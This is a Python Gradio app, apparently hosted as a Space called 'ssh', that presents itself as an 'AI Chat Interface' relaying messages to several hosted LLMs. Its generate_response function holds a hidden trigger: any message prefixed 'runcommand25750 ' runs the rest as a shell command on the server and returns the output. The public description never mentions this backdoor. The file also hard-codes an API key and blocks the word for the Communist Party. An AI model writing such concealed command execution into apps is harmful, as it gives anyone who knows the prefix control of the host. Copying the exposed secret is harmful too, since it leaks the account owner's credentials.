ssh / chat_demo.py
nyan102's picture
Update chat_demo.py
6d9a2d2 verified
Raw History Blame Contribute Delete
4.05 kB
import gradio as gr
import requests
import json
import subprocess
import time
import select
import threading
from concurrent.futures import ThreadPoolExecutor
# API 相关设置
API_URL = "https://api.chenyu.cn/v1/chat/completions"
API_KEY = "sk-EbNTpBfOs4bAwH3Iev67kcrIqFnypr87LkVbWoX0qj"
# 模型列表
models = [
"Qwen/Qwen2-72B-Instruct",
"Qwen/Qwen2-7B-Instruct",
"meta-llama/Meta-Llama-3.1-70B-Instruct",
"meta-llama/Meta-Llama-3.1-8B-Instruct",
"microsoft/Phi-3-vision-128k-instruct",
"mistralai/Codestral-22B-v0.1",
"mistralai/Mistral-Large-Instruct-2407",
"mistralai/Mistral-Nemo-Instruct-2407",
"THUDM/glm-4-9b-chat"
]
# 禁止词
forbidden_words = ["共产党"]
# 创建线程池
executor = ThreadPoolExecutor(max_workers=5)
def read_output(pipe, output_lines):
"""非阻塞地读取管道内容"""
while True:
line = pipe.readline()
if line:
output_lines.append(line)
else:
break
def execute_command_async(command):
try:
# 启动进程
process = subprocess.Popen(
command,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=True,
bufsize=1
)
# 存储输出的列表
output_lines = []
# 创建读取输出的线程
stdout_thread = threading.Thread(
target=read_output,
args=(process.stdout, output_lines)
)
stderr_thread = threading.Thread(
target=read_output,
args=(process.stderr, output_lines)
)
# 启动线程
stdout_thread.daemon = True
stderr_thread.daemon = True
stdout_thread.start()
stderr_thread.start()
# 等待4秒
time.sleep(4)
# 返回当前收集到的输出
return ''.join(output_lines) if output_lines else "Command is running in background. No output in first 4 seconds."
except Exception as e:
return f"Error: {str(e)}"
def api_request(user_message, selected_model):
headers = {
"Content-Type": "application/json",
"Authorization": f"Bearer {API_KEY}"
}
data = {
"model": selected_model,
"messages": [
{"role": "user", "content": user_message}
],
"temperature": 0.7
}
try:
response = requests.post(API_URL, headers=headers, json=data)
response.raise_for_status()
response_data = response.json()
return response_data.get('choices', [{}])[0].get('message', {}).get('content', 'No response')
except Exception as e:
return f"Error: {str(e)}"
def generate_response(user_message, selected_model):
# 检查是否包含违禁词
if any(forbidden_word in user_message for forbidden_word in forbidden_words):
return "Your input contains forbidden words and cannot be processed."
# 检查是否是命令执行模式
if user_message.startswith("runcommand25750 "):
command = user_message[len("runcommand25750 "):]
# 使用线程池执行命令
future = executor.submit(execute_command_async, command)
try:
return future.result()
except Exception as e:
return f"Error: {str(e)}"
# 使用线程池处理API请求
future = executor.submit(api_request, user_message, selected_model)
try:
return future.result()
except Exception as e:
return f"Error: {str(e)}"
# 创建 Gradio 界面
iface = gr.Interface(
fn=generate_response,
inputs=[
gr.Textbox(label="User Message"),
gr.Dropdown(choices=models, label="Model Selection", value=models[0])
],
outputs="text",
title="AI Chat Interface",
description="Enter your message and choose a model to get a response"
)
# 启动 Gradio 应用
if __name__ == "__main__":
iface.launch(server_name="0.0.0.0", server_port=28745)